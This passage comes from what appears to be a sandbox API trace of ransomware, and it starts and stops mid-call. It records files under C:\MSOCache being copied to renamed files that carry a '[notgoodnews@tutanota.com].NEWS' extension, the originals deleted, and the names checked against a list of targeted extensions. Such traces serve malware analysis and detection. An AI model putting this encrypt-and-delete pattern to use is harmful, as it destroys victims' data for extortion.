Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.232] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.232] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0045.232] GetLastError () returned 0x0 [0045.233] ReadFile (in: hFile=0x198, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0xc72, lpOverlapped=0x0) returned 1 [0045.554] WriteFile (in: hFile=0x160, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0045.979] ReadFile (in: hFile=0x198, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.979] WriteFile (in: hFile=0x160, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0045.979] SetEndOfFile (hFile=0x160) returned 1 [0045.980] CloseHandle (hObject=0x160) returned 1 [0045.981] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.981] SetEndOfFile (hFile=0x198) returned 1 [0045.983] CloseHandle (hObject=0x198) returned 1 [0045.983] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.983] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0045.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.984] lstrlenW (lpString=".doc") returned 4 [0045.984] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.984] lstrlenW (lpString=".docx") returned 5 [0045.984] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.984] lstrlenW (lpString=".pdf") returned 4 [0045.984] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.984] lstrlenW (lpString=".xls") returned 4 [0045.984] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.984] lstrlenW (lpString=".xlsx") returned 5 [0045.984] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.984] lstrlenW (lpString=".ppt") returned 4 [0045.984] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.984] lstrlenW (lpString=".zip") returned 4 [0045.984] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.984] lstrlenW (lpString=".rar") returned 4 [0045.985] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.985] lstrlenW (lpString=".bz2") returned 4 [0045.985] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.985] lstrlenW (lpString=".7z") returned 3 [0045.985] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.985] lstrlenW (lpString=".dbf") returned 4 [0045.985] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.985] lstrlenW (lpString=".1cd") returned 4 [0045.985] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.985] lstrlenW (lpString=".jpg") returned 4 [0045.985] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.985] lstrlenW (lpString=".doc") returned 4 [0045.985] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.986] lstrlenW (lpString=".docx") returned 5 [0045.986] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.986] lstrlenW (lpString=".pdf") returned 4 [0045.986] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.986] lstrlenW (lpString=".xls") returned 4 [0045.986] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.986] lstrlenW (lpString=".xlsx") returned 5 [0045.986] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.986] lstrlenW (lpString=".ppt") returned 4 [0045.986] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.986] lstrlenW (lpString=".zip") returned 4 [0045.986] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.986] lstrlenW (lpString=".rar") returned 4 [0045.986] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.986] lstrlenW (lpString=".bz2") returned 4 [0045.986] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.986] lstrlenW (lpString=".7z") returned 3 [0045.986] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.987] lstrlenW (lpString=".dbf") returned 4 [0045.987] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.987] lstrlenW (lpString=".1cd") returned 4 [0045.987] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0045.987] lstrlenW (lpString=".jpg") returned 4 [0045.987] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.988] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.988] lstrlenW (lpString="Setup.xml") returned 9 [0045.988] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0046.207] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=6241) returned 1 [0046.207] CloseHandle (hObject=0x1cc) returned 1 [0046.207] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0046.208] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0046.208] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.208] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.367] GetLastError () returned 0x0 [0046.367] ReadFile (in: hFile=0x1cc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1861, lpOverlapped=0x0) returned 1 [0046.668] WriteFile (in: hFile=0x1ec, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0046.669] ReadFile (in: hFile=0x1cc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.669] WriteFile (in: hFile=0x1ec, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.670] SetEndOfFile (hFile=0x1ec) returned 1 [0046.670] CloseHandle (hObject=0x1ec) returned 1 [0046.671] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.671] SetEndOfFile (hFile=0x1cc) returned 1 [0046.672] CloseHandle (hObject=0x1cc) returned 1 [0046.672] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.673] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.673] lstrlenW (lpString=".doc") returned 4 [0046.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.673] lstrlenW (lpString=".docx") returned 5 [0046.673] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.673] lstrlenW (lpString=".pdf") returned 4 [0046.673] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.673] lstrlenW (lpString=".xls") returned 4 [0046.673] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.673] lstrlenW (lpString=".xlsx") returned 5 [0046.673] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.673] lstrlenW (lpString=".ppt") returned 4 [0046.673] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.674] lstrlenW (lpString=".zip") returned 4 [0046.674] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.674] lstrlenW (lpString=".rar") returned 4 [0046.674] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.674] lstrlenW (lpString=".bz2") returned 4 [0046.674] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.674] lstrlenW (lpString=".7z") returned 3 [0046.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.674] lstrlenW (lpString=".dbf") returned 4 [0046.674] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.674] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.674] lstrlenW (lpString=".1cd") returned 4 [0046.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.675] lstrlenW (lpString=".jpg") returned 4 [0046.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.675] lstrlenW (lpString=".doc") returned 4 [0046.675] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.675] lstrlenW (lpString=".docx") returned 5 [0046.675] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.675] lstrlenW (lpString=".pdf") returned 4 [0046.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.675] lstrlenW (lpString=".xls") returned 4 [0046.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.675] lstrlenW (lpString=".xlsx") returned 5 [0046.675] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.675] lstrlenW (lpString=".ppt") returned 4 [0046.675] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.675] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.675] lstrlenW (lpString=".zip") returned 4 [0046.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.675] lstrlenW (lpString=".rar") returned 4 [0046.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.676] lstrlenW (lpString=".bz2") returned 4 [0046.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.676] lstrlenW (lpString=".7z") returned 3 [0046.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.676] lstrlenW (lpString=".dbf") returned 4 [0046.676] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.676] lstrlenW (lpString=".1cd") returned 4 [0046.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.676] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.676] lstrlenW (lpString=".jpg") returned 4 [0046.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.676] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.676] lstrlenW (lpString="Setup.xml") returned 9 [0046.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0046.690] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1452) returned 1 [0046.691] CloseHandle (hObject=0x1cc) returned 1 [0046.691] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0046.691] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.691] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0046.691] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.691] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.691] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.692] GetLastError () returned 0x0 [0046.692] ReadFile (in: hFile=0x1cc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0046.731] WriteFile (in: hFile=0x1ec, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0046.732] ReadFile (in: hFile=0x1cc, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.732] WriteFile (in: hFile=0x1ec, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.732] SetEndOfFile (hFile=0x1ec) returned 1 [0046.733] CloseHandle (hObject=0x1ec) returned 1 [0046.733] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.734] SetEndOfFile (hFile=0x1cc) returned 1 [0046.735] CloseHandle (hObject=0x1cc) returned 1 [0046.735] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.735] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.736] lstrlenW (lpString=".doc") returned 4 [0046.736] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.736] lstrlenW (lpString=".docx") returned 5 [0046.736] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.736] lstrlenW (lpString=".pdf") returned 4 [0046.736] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.736] lstrlenW (lpString=".xls") returned 4 [0046.737] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.737] lstrlenW (lpString=".xlsx") returned 5 [0046.737] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.737] lstrlenW (lpString=".ppt") returned 4 [0046.737] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.737] lstrlenW (lpString=".zip") returned 4 [0046.737] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.737] lstrlenW (lpString=".rar") returned 4 [0046.737] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.737] lstrlenW (lpString=".bz2") returned 4 [0046.737] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.737] lstrlenW (lpString=".7z") returned 3 [0046.737] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.737] lstrlenW (lpString=".dbf") returned 4 [0046.737] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.737] lstrlenW (lpString=".1cd") returned 4 [0046.737] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.737] lstrlenW (lpString=".jpg") returned 4 [0046.737] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.738] lstrlenW (lpString=".doc") returned 4 [0046.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.738] lstrlenW (lpString=".docx") returned 5 [0046.738] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.738] lstrlenW (lpString=".pdf") returned 4 [0046.738] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.738] lstrlenW (lpString=".xls") returned 4 [0046.738] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.738] lstrlenW (lpString=".xlsx") returned 5 [0046.738] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.738] lstrlenW (lpString=".ppt") returned 4 [0046.738] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.738] lstrlenW (lpString=".zip") returned 4 [0046.738] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.738] lstrlenW (lpString=".rar") returned 4 [0046.738] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.738] lstrlenW (lpString=".bz2") returned 4 [0046.738] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.739] lstrlenW (lpString=".7z") returned 3 [0046.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.739] lstrlenW (lpString=".dbf") returned 4 [0046.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.739] lstrlenW (lpString=".1cd") returned 4 [0046.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.739] lstrlenW (lpString=".jpg") returned 4 [0046.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.739] lstrcmpiW (lpString1=".chm", lpString2=".NEWS") returned -1 [0046.739] lstrlenW (lpString="setup.chm") returned 9 [0046.739] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0047.241] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d9ff1c | out: 